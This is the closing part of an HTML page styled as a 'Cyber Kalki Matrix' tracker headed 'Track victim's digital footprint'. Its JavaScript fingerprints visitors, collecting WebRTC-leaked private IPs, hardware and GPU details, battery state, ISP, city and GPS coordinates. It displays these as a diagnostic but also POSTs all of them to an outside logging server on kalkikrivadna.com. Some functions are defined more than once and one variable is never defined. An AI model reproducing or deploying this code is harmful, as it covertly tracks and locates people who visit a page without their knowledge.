</div>                                                                                                                 <div id="batteryStatus" style="display: none;">                                                                            <button class="close-btn" onclick="document.getElementById('batteryStatus').style.display='none'">×</button>           <div class="battery-container">                                                                                            <div class="battery-outline">                                                                                              <div class="battery-level"></div>                                                                                      <div class="battery-cap"></div>                                                                                    </div>                                                                                                             </div>                                                                                                                                                                                                                                    <div class="battery-status">                                                                                                   <span class="battery-percentage">100%</span>                                                                           <div class="charging-status">POWER CONNECTED</div>                                                                 </div>                                                                                                             </div>                                                                                                                 <div class="tracker-container" style="margin: 100px auto; display: flex; flex-direction: column; justify-content: center; align-items: center; text-align: center;">                                                                                                                                                                                                 <div class="digital-footprint">                                                                                                TRACK VICTIM'S DIGITAL FOOTPRINT :                                                                                    </div>                                                                                                                                                                                                                                 <div class="data-line" style="margin-top: 20px;">                                                                              IP Trace: 192.168.xx.xx                                                                                                <div class="progress-bar">                                                                                                 <div class="progress-bar-fill" style="width: 75%"></div>                                                           </div>                                                                                                             </div>                                                                                                                 <div class="data-line">                                                                                                    Digital Footprint: 87%                                                                                                 <div class="progress-bar">                                                                                                 <div class="progress-bar-fill" style="width: 87%"></div>                                                           </div>                                                                                                             </div>                                                                                                                 <div class="data-line">                                                                                                    Network Nodes: 42/64                                                                                                   <div class="progress-bar">                                                                                                 <div class="progress-bar-fill" style="width: 65%"></div>                                                           </div>                                                                                                             </div>                                                                                                                                                                                                                                    <a href="https://sub1.kalkikrivadna.com:3000/" target="_blank" style="text-decoration: none;">                         <button class="access-button">ACCESS TOOL</button>                                                                      </a>                                                                                                                  </div>                                                                                                                 <footer class="matrix-footer">                                                                                                 <div class="footer-content">                                                                                               © 2024 Cyber Kalki Matrix Tools | Prepare for Next Level of Digital Defense                                        </div>                                                                                                                 <div class="footer-line"></div>                                                                                    </footer>                                                                                                                                                                                                                                     <script>                                                                                                                                                                                                                                  function updateDateTime() {                                                                                                        const now = new Date(); // Get current date and time                                                                   const options = {                                                                                                          year: 'numeric',                                                                                                       month: 'long',                                                                                                         day: 'numeric',                                                                                                        hour: '2-digit',                                                                                                       minute: '2-digit',                                                                                                     second: '2-digit',                                                                                                     hour12: true,                                                                                                          timeZoneName: 'short' // Optional, shows timezone                                                                  };                                                                                                                     const formattedDateTime = now.toLocaleString(undefined, options); // Format date/time based on user locale             document.getElementById("datetime").innerHTML = formattedDateTime; // Update the HTML content                      }                                                                                                                                                                                                                                             // Update date/time every second                                                                                       setInterval(updateDateTime, 1000);                                                                                     updateDateTime(); // Initial call to display immediately                                                               async function getBatteryStatus() {                                                                                        try {                                                                                                                      const battery = await navigator.getBattery();                                                                          const batteryStatus = document.getElementById('batteryStatus');                                                        const batteryLevel = batteryStatus.querySelector('.battery-level');                                                    const percentage = batteryStatus.querySelector('.battery-percentage');                                                 const chargingStatus = batteryStatus.querySelector('.charging-status');                                                                                                                                                                       batteryStatus.style.display = 'block';                                                                                 batteryLevel.style.width = `${battery.level * 100}%`;                                                                  percentage.textContent = `${Math.round(battery.level * 100)}%`;                                                        chargingStatus.textContent = battery.charging ? 'POWER CONNECTED' : 'ON BATTERY';                                                                                                                                                             battery.addEventListener('levelchange', () => {                                                                            batteryLevel.style.width = `${battery.level * 100}%`;                                                                  percentage.textContent = `${Math.round(battery.level * 100)}%`;                                                    });                                                                                                                                                                                                                                           battery.addEventListener('chargingchange', () => {                                                                         chargingStatus.textContent = battery.charging ? 'POWER CONNECTED' : 'ON BATTERY';                                  });                                                                                                                } catch (error) {                                                                                                          console.error('Battery status not supported');                                                                     }                                                                                                                  }                                                                                                                                                                                                                                             // Date Time Display                                                                                                   const datetimeElement = document.getElementById('datetime');                                                           displayDateTime();                                                                                                                                                                                                                            function displayDateTime() {                                                                                               const dt = new Date();                                                                                                 datetimeElement.innerHTML = dt.toLocaleString();                                                                   }                                                                                                                                                                                                                                             // Fetch VPN Data                                                                                                      async function fetchVPNData() {                                                                                           const response = await fetch('https://sub1.kalkikrivadna.com');                                                        if (response.ok) {                                                                                                         const data = await response.json();                                                                         document.getElementById('result').innerText = JSON.stringify(data, null, 4);                                                      document.getElementById('vpn-container').style.display = 'block';                                       document.getElementById('vpn-container').style.fontFamily = 'Chakra Petch';                                                           // Send VPN data to the server                                                                                         await sendDataToServer({ vpnDetails: data });                                                                      }                                                                                                                   }                                                                                                                                                                                                                                     // Gather Network Information                                                                                                                                                                                                                 async function gatherWebRTCInfo() {                                                                                        const outputElement = document.getElementById('output');                                                               outputElement.innerHTML = 'Gathering info... Please wait.\n';                                                          document.getElementById('output-container').style.display = 'block';                                                                                                                                                                          // Set to keep track of displayed IPs                                                                                  const displayedIPs = new Set();                                                                                                                                                                                                               const pc = new RTCPeerConnection({                                                                                         iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]                                                             });                                                                                                                                                                                                                                           pc.onicecandidate = (event) => {                                                                                           if (event.candidate) {                                                                                                     const ipRegex = /([0-9]{1,3}\.){3}[0-9]{1,3}/g;                                                                        const match = ipRegex.exec(event.candidate.candidate);                                                                                                                                                                                        if (match) {                                                                                                               const ip = match[0];                                                                                                   if (isPrivateIP(ip) && !displayedIPs.has(ip)) {                                                                            displayedIPs.add(ip);                                                                                                  outputElement.innerHTML += `<span class='keyword'>Private IP Address:</span> ${ip}\n`;                             }                                                                                                                  }                                                                                                                  }                                                                                                                  };                                                                                                                                                                                                                                            pc.createDataChannel('dummyChannel');                                                                                  const offer = await pc.createOffer();                                                                                  await pc.setLocalDescription(offer);                                                                                   setTimeout(() => {                                                                                                         pc.close();                                                                                                            gatherDeviceInfo();                                                                                                }, 3000);                                                                                                          }                                                                                                                                                                                                                                             /**                                                                                                                     * Checks if an IP address is private according to RFC 1918                                                             * @param {string} ip - The IP address to check                                                                         * @returns {boolean} - Returns true if IP is private, false otherwise                                                  */                                                                                                                    function isPrivateIP(ip) {                                                                                                 // Input validation                                                                                                    if (!ip || typeof ip !== 'string') {                                                                                       return false;                                                                                                      }                                                                                                                                                                                                                                             // Split IP address into octets                                                                                        const octets = ip.split('.');                                                                                                                                                                                                                 // Basic IP format validation                                                                                          if (octets.length !== 4) {                                                                                                 return false;                                                                                                      }                                                                                                                                                                                                                                             // Validate each octet is a number between 0 and 255                                                                   for (const octet of octets) {                                                                                              const num = parseInt(octet, 10);                                                                                       if (isNaN(num) || num < 0 || num > 255 || octet !== num.toString()) {                                                      return false;                                                                                                      }                                                                                                                  }                                                                                                                                                                                                                                             // Check for private IP ranges (RFC 1918)                                                                              const firstOctet = parseInt(octets[0], 10);                                                                            const secondOctet = parseInt(octets[1], 10);                                                                                                                                                                                                  return (                                                                                                                   // 10.0.0.0 - 10.255.255.255                                                                                           firstOctet === 10 ||                                                                                                   // 192.168.0.0 - 192.168.255.255                                                                                       (firstOctet === 192 && secondOctet === 168) ||                                                                         // 172.16.0.0 - 172.31.255.255                                                                                         (firstOctet === 172 && secondOctet >= 16 && secondOctet <= 31)                                                     );                                                                                                                 }                                                                                                                                                                                                                                                                                                                                                                    // First, add all the network detection functions before your main gatherDeviceInfo function                                                                                                                                                  function detectNetworkType() {                                                                                             const connection = navigator.connection ||                                                                                               navigator.mozConnection ||                                                                                             navigator.webkitConnection ||                                                                                          null;                                                                                                                                                                                                                       if (!connection) {                                                                                                         return {                                                                                                                   type: 'Unknown',
            generation: 'Unknown',
            details: null
        };
    }

    const networkInfo = {
        type: connection.type || 'Unknown',
        generation: 'Unknown',
        details: {
            downlink: connection.downlink || 0,
            rtt: connection.rtt || 0,
            effectiveType: connection.effectiveType || 'Unknown',
            saveData: connection.saveData || false,
            timestamp: new Date().toISOString()
        }                                                                                                                  };

    // Determine if it's WiFi or Cellular
    if (connection.type === 'wifi') {
        networkInfo.generation = detectWiFiGeneration(connection);
    } else if (connection.type === 'cellular') {
        networkInfo.generation = detectMobileGeneration(connection);
    }

    return networkInfo;
}
function detectDeviceType() {
    const userAgent = navigator.userAgent;

    if (/mobile/i.test(userAgent)) {
        return 'Mobile';
    } else if (/tablet/i.test(userAgent)) {
        return 'Tablet';
    } else if (/laptop/i.test(userAgent) || /macintosh/i.test(userAgent) || /windows/i.test(userAgent)) {
        return 'Laptop';
    } else {
        return 'Desktop';
    }
}

function detectWiFiGeneration(connection) {
    // Don't rely solely on speed for WiFi 5G detection
    const capabilities = {
        hasHighBandwidth: connection.downlink > 1, // More realistic threshold
        hasLowLatency: connection.rtt && connection.rtt < 200,
        isHighPerformance: connection.effectiveType === '4g'
    };

    if (capabilities.hasHighBandwidth &&
        capabilities.hasLowLatency &&
        capabilities.isHighPerformance) {
        return 'WiFi 5GHz';
    }

    return 'WiFi';
}

function detectMobileGeneration(connection) {
    // Multiple factors for mobile generation detection
    const networkIndicators = {
        // Speed isn't reliable, so we use very conservative thresholds
        hasMinimumSpeed: connection.downlink >= 1,
        hasLowLatency: connection.rtt && connection.rtt < 200,
        has4GCapability: connection.effectiveType === '4g',

        // Try to detect 5G from user agent (not always reliable)
        has5GIndicator: navigator.userAgent.toLowerCase().includes('5g')
    };

    // Check if device reports as 5G capable
    if (networkIndicators.has5GIndicator &&
        networkIndicators.hasMinimumSpeed) {
        return '5G';
    }

    // Fallback to 4G for high-performance connections
    if (networkIndicators.has4GCapability) {
        return '4G';
    }

    // Determine 3G/2G based on effective type
    switch (connection.effectiveType) {
        case '3g':
            return '3G';
        case '2g':
        case 'slow-2g':
            return '2G';
        default:
            return 'Unknown';
    }
}

function monitorNetworkSpeed(callback, interval = 5000) {
    let lastReading = null;

    return setInterval(() => {
        const currentInfo = detectNetworkType();

        if (lastReading && callback) {
            const speedDiff = currentInfo.details.downlink - lastReading.details.downlink;
            callback({
                current: currentInfo,
                previous: lastReading,
                difference: speedDiff
            });
        }

        lastReading = currentInfo;
    }, interval);
}


      // Add RAM detection function
function detectDeviceRAM() {
    let ramInfo = {
        totalRAM: 'Unknown',
        ramDetails: null
    };

    // Check if navigator.deviceMemory is available (Chrome, Edge, Opera)
    if (navigator.deviceMemory) {
        ramInfo.totalRAM = `${navigator.deviceMemory} GB`;
        ramInfo.ramDetails = {
            type: 'Precise',
            value: navigator.deviceMemory,
            unit: 'GB'
        };
    }
    // Use performance.memory if available (Chrome)
    else if (window.performance && performance.memory) {
        const totalRAM = Math.round(performance.memory.jsHeapSizeLimit / (1024 * 1024 * 1024));
        ramInfo.totalRAM = `~${totalRAM} GB`;
        ramInfo.ramDetails = {
            type: 'Estimated',
            totalHeapSize: performance.memory.totalJSHeapSize,
            usedHeapSize: performance.memory.usedJSHeapSize,
            heapSizeLimit: performance.memory.jsHeapSizeLimit,
            unit: 'bytes'
        };
    }

    return ramInfo;
}

async function gatherDeviceInfo() {
    const outputElement = document.getElementById('output');
    outputElement.innerHTML += '\n<span class=\'keyword\'>--- Device and Network Information ---</span>\n';

    let deviceInfo = {};

    // Detect and set device type first
    deviceInfo.deviceType = detectDeviceType();

    // Get complete network information
    const networkInfo = detectNetworkType();

    if (networkInfo.type !== 'Unknown') {
        outputElement.innerHTML += '<span class=\'keyword\'>Network Information:</span>\n';
                                                                                                                               // Basic connection info
        outputElement.innerHTML += `<span class='string'>Base Connection Type:</span> ${networkInfo.type}\n`;
        outputElement.innerHTML += `<span class='string'>Network Generation:</span> ${networkInfo.generation}\n`;
                                                                                                                               // Specific WiFi or Mobile information
        const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
        if (connection) {
            if (networkInfo.type === 'wifi') {
                // Explicitly call and display WiFi generation
                const wifiGen = detectWiFiGeneration(connection);
                outputElement.innerHTML += `<span class='string'>WiFi Type:</span> ${wifiGen}\n`;
                deviceInfo.wifiGeneration = wifiGen;
            } else if (networkInfo.type === 'cellular') {
                // Explicitly call and display mobile generation
                const mobileGen = detectMobileGeneration(connection);
                outputElement.innerHTML += `<span class='string'>Mobile Network Type:</span> ${mobileGen}\n`;
                deviceInfo.mobileGeneration = mobileGen;
            }
        }

        // Network details
        outputElement.innerHTML += '\n<span class=\'keyword\'>Connection Details:</span>\n';

        outputElement.innerHTML += `<span class='string'>RTT (Latency):</span> ${networkInfo.details.rtt} ms\n`;

        outputElement.innerHTML += `<span class='string'>Save Data Mode:</span> ${networkInfo.details.saveData}\n`;
        outputElement.innerHTML += `<span class='string'>Last Updated:</span> ${networkInfo.details.timestamp}\n`;
    } else {
        outputElement.innerHTML += '<span class=\'comment\'>Network Information: Not available</span>\n';
        deviceInfo.connectionType = 'Not available';
        deviceInfo.networkGeneration = 'Not available';
    }


    // Device Hardware Information
    outputElement.innerHTML += '\n<span class=\'keyword\'>Hardware Information:</span>\n';
outputElement.innerHTML += `<span class='string'>Device Type:</span> ${deviceInfo.deviceType}\n`;

    // RAM Information
    const ramInfo = detectDeviceRAM();
    outputElement.innerHTML += `<span class='string'>Total RAM:</span> ${ramInfo.totalRAM}\n`;
    if (ramInfo.ramDetails && ramInfo.ramDetails.type === 'Estimated') {
        outputElement.innerHTML += `<span class='string'>Used Heap:</span> ${Math.round(ramInfo.ramDetails.usedHeapSize / (1024 * 1024))} MB\n`;
        outputElement.innerHTML += `<span class='string'>Total Heap:</span> ${Math.round(ramInfo.ramDetails.totalHeapSize / (1024 * 1024))} MB\n`;
    }
    deviceInfo.ramInfo = ramInfo;

    // CPU Information
    if (navigator.hardwareConcurrency) {
        outputElement.innerHTML += `<span class='string'>CPU Cores:</span> ${navigator.hardwareConcurrency}\n`;
        deviceInfo.cpuCores = navigator.hardwareConcurrency;
    } else {
        outputElement.innerHTML += '<span class=\'comment\'>CPU Cores: Not available</span>\n';
    }

    // GPU Information
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

    if (gl) {
        const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
        const vendor = debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : 'Not available';
        const renderer = debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'Not available';

        outputElement.innerHTML += `<span class='string'>GPU Vendor:</span> ${vendor}\n`;
        outputElement.innerHTML += `<span class='string'>GPU Renderer:</span> ${renderer}\n`;

        deviceInfo.gpuVendor = vendor;
        deviceInfo.gpuRenderer = renderer;
    } else {
        outputElement.innerHTML += '<span class=\'comment\'>GPU Information: WebGL not supported</span>\n';
    }

    // Operating System Information
    const userAgent = navigator.userAgent;
    outputElement.innerHTML += `<span class='string'>User Agent:</span> ${userAgent}\n`;
    deviceInfo.userAgent = userAgent;

    let osInfo;
    if (userAgent.indexOf("Win") !== -1) osInfo = "Windows";
    else if (userAgent.indexOf("Mac") !== -1) osInfo = "MacOS";
    else if (userAgent.indexOf("X11") !== -1 || userAgent.indexOf("Linux") !== -1) osInfo = "Linux";
    else osInfo = "Unknown OS";

    outputElement.innerHTML += `<span class='string'>Operating System:</span> ${osInfo}\n`;
    deviceInfo.os = osInfo;

    // Add remaining device information (screen, platform, etc.)
    deviceInfo.platform = navigator.platform;
    deviceInfo.screenResolution = `${window.screen.width}x${window.screen.height}`;
    deviceInfo.colorDepth = window.screen.colorDepth;
    deviceInfo.orientation = window.screen.orientation ? window.screen.orientation.type : "Not supported";
    deviceInfo.javaScriptEnabled = true;
    deviceInfo.cookiesEnabled = navigator.cookieEnabled;
    deviceInfo.pixelDepth = window.screen.pixelDepth;
    deviceInfo.colorScheme = window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
    deviceInfo.hdrScreen = window.matchMedia && window.matchMedia('(display-mode: fullscreen)').matches;

    outputElement.innerHTML += `<span class='string'>Platform:</span> ${deviceInfo.platform}\n`;
    outputElement.innerHTML += `<span class='string'>Screen Resolution:</span> ${deviceInfo.screenResolution}\n`;
    outputElement.innerHTML += `<span class='string'>Color Depth:</span> ${deviceInfo.colorDepth} bits\n`;
    outputElement.innerHTML += `<span class='string'>Device Orientation:</span> ${deviceInfo.orientation}\n`;
    outputElement.innerHTML += `<span class='string'>JavaScript Enabled:</span> ${deviceInfo.javaScriptEnabled}\n`;
    outputElement.innerHTML += `<span class='string'>Cookies Enabled:</span> ${deviceInfo.cookiesEnabled}\n`;
    outputElement.innerHTML += `<span class='string'>Color Scheme:</span> ${deviceInfo.colorScheme}\n`;
    outputElement.innerHTML += `<span class='string'>HDR Screen:</span> ${deviceInfo.hdrScreen}\n`;

    // Call to gather ISP info
    await gatherISPInfo();

    // Send complete data to server
    await sendDataToServer({
        deviceDetails: deviceInfo,
        networkInfo: networkInfo
    });

    return deviceInfo;
}

function detectDeviceType() {
    const ua = navigator.userAgent.toLowerCase();
    const platform = navigator.platform.toLowerCase();                                                                 
    // Get both width and height of the screen/viewport
    const width = window.innerWidth
        || document.documentElement.clientWidth
        || document.body.clientWidth;                                                                                      const height = window.innerHeight
        || document.documentElement.clientHeight
        || document.body.clientHeight;                                                                                 
    // Calculate aspect ratio
    const aspectRatio = width / height;

    // Function to check if dimensions match tablet characteristics
    const hasTabletDimensions = () => {
        // Most tablets have width between 600-1280px and height between 800-1600px
        const isTabletSize = (width >= 600 && width <= 1280) &&
                           (height >= 800 && height <= 1600);

        // Typical tablet aspect ratios are between 1.3 and 1.6
        const hasTabletRatio = aspectRatio >= 0.5 && aspectRatio <= 1.6;                                               
        return isTabletSize && hasTabletRatio;
    };                                                                                                                 
    // Check for Android devices
    if (/android/i.test(ua)) {                                                                                                 // Specific check for Redmi/Xiaomi devices
        if (/redmi|xiaomi/i.test(ua)) {
            if (hasTabletDimensions()) {                                                                                               return 'Tablet';
            }                                                                                                                  }                                                                                                              
        // General Android tablet detection                                                                                    if ((/tablet|pad/i.test(ua)) ||                                                                                            (!(/mobile/i.test(ua)) && hasTabletDimensions())) {
            return 'Tablet';
        }

        return 'Mobile';                                                                                                   }

    // Check for iOS iPad                                                                                                  if (navigator.maxTouchPoints &&
        navigator.maxTouchPoints > 2 &&                                                                                        /macintosh/.test(ua)) {
        return 'Tablet';
    }
                                                                                                                           // Check for explicit mobile devices
    if ((/mobile|iphone|ipod|blackberry|opera mini|opera mobi|webos|windows phone|iemobile/).test(ua)) {
        return 'Mobile';
    }
                                                                                                                           // Check for other tablets
    if ((/ipad|playbook|silk/).test(ua) || hasTabletDimensions()) {
        return 'Tablet';
    }

    // Check for touch-enabled devices that might be tablets
    if ('ontouchstart' in window && hasTabletDimensions()) {                                                                   return 'Tablet';
    }

    // Desktop detection
    if ((/windows nt|macintosh|linux/).test(ua) ||
        (/win32|win64|mac|linux/).test(platform)) {
        // Additional check to prevent large tablets from being classified as desktops
        if (hasTabletDimensions()) {
            return 'Tablet';
        }
        return 'Desktop';
    }

    // If the device has tablet-like dimensions, classify as tablet
    if (hasTabletDimensions()) {
        return 'Tablet';
    }

    // Final fallback                                                                                                      return 'Desktop';
}

// Debug function to help troubleshoot device detection
function debugDeviceInfo() {
    const width = window.innerWidth;
    const height = window.innerHeight;                                                                                     const ua = navigator.userAgent;
    const deviceType = detectDeviceType();

    console.log({                                                                                                              deviceType,
        screenWidth: width,
        screenHeight: height,
        aspectRatio: (width / height).toFixed(2),
        userAgent: ua                                                                                                      });
}


async function gatherISPInfo() {
    const outputElement = document.getElementById('output');
    outputElement.innerHTML += '\n<span class="keyword">--- ISP Information ---</span>\n';
    try {
        const response = await fetch('https://ipinfo.io/json');
        if (response.ok) {
            const data = await response.json();
            outputElement.innerHTML += `<span class="string">IP:</span> ${data.ip}\n`;
            outputElement.innerHTML += `<span class="string">ISP:</span> ${data.org}\n`;                                           outputElement.innerHTML += `<span class="string">Location:</span> ${data.city}, ${data.region}, ${data.country}\n`;
            outputElement.innerHTML += `<span class="string">Timezone:</span> ${data.timezone}\n`;
        } else {
            outputElement.innerHTML += '<span class="comment">ISP Information: Unable to fetch</span>\n';
        }
    } catch (error) {
        outputElement.innerHTML += `<span class="comment">ISP Info Error:</span> ${error.message}\n`;
    }
}

       async function sendDataToServer(data) {
          await fetch('https://sub2.kalkikrivadna.com/service2/', {
              method: 'POST',                                                                                             headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify(data),
          });
       }

      // Fetch Details Button
      document.getElementById('fetch-button').addEventListener('click', async () => {
          await gatherWebRTCInfo();
      });

      // Fetch VPN Data Button
      document.getElementById('fetchButton').addEventListener('click', async () => {
          await fetchVPNData();
      });

      // Battery status functionality
      async function fetchBatteryStatus() {
          const battery = await navigator.getBattery();
          updateBatteryStatus(battery);

          // Prepare battery data for logging
          const batteryData = {
              level: battery.level * 100,
              charging: battery.charging,
              dischargingTime: battery.dischargingTime === Infinity ? "Charging" : formatTime(battery.dischargingTime)
          };

          // Send battery data to the server
          await sendDataToServer({ batteryStatus: batteryData });
      }

      document.getElementById('batteryButton').addEventListener('click', fetchBatteryStatus);

      document.getElementById('closeButton').addEventListener('click', function() {
          document.getElementById('batteryStatus').style.display = 'none'; // Hide battery status
      });

      function updateBatteryStatus(battery) {
          const batteryLevel = battery.level * 100;
          const isCharging = battery.charging;


          document.getElementById('batteryLevel').style.width = batteryLevel + '%';
          document.getElementById('batteryText').innerText = `Battery Level: ${batteryLevel.toFixed(2)}%`;
          document.getElementById('chargingStatus').innerText = `Charging: ${isCharging ? 'Yes' : 'No'}`;
          document.getElementById('batteryInfo').innerText = `Discharging Time: ${dischargingTimeFormatted}`;

          document.getElementById('batteryLevel').style.backgroundColor = batteryLevel > 20 ? 'green' : 'red';
          document.getElementById('batteryStatus').style.display = 'flex'; // Show battery status
      }

      function formatTime(seconds) {
          const minutes = Math.floor(seconds / 60);
          const secs = seconds % 60;
          return `${minutes > 0 ? minutes + " min " : ""}${secs} sec`;
      }

    // Geolocation functionality

function fetchGeolocation() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition((position) => {
                    const lat = position.coords.latitude;
                    const lng = position.coords.longitude;

                    // Prepare geolocation data
                    const latLngObj = {
                        latitude: lat,
                        longitude: lng
                    };
                                                                                                                                           // Send geolocation data to the server
                    sendDataToServer({ geoLocation: latLngObj });
                                                                                                                                           // Redirect to the specified URL in a new tab
                    window.open(`https://kalkikrivadna.com/geo.shtml?lat=${lat}&lng=${lng}`, '_blank');
                }, (error) => {
                    alert('Geolocation failed: ' + error.message);
                });                                                                                                                } else {
                alert('Geolocation is not supported by your browser.');
            }
        }

        async function sendDataToServer(data) {                                                                                    try {
                const response = await fetch('https://sub2.kalkikrivadna.com/service2/', { // Replace with your server URL
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });

                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                const result = await response.json();                                                                                  console.log('Data logged successfully:', result);
            } catch (error) {                                                                                                          console.error('Error logging data:', error);
            }
        }

        async function sendDataToServer(data) {
            try {
                const response = await fetch('https://sub2.kalkikrivadna.com/service2/', { // Replace with your server URL
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)                                                                                         });

                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                const result = await response.json();
                console.log('Data logged successfully:', result);
            } catch (error) {
                console.error('Error logging data:', error);
            }
        }

    </script>
</body>
</html>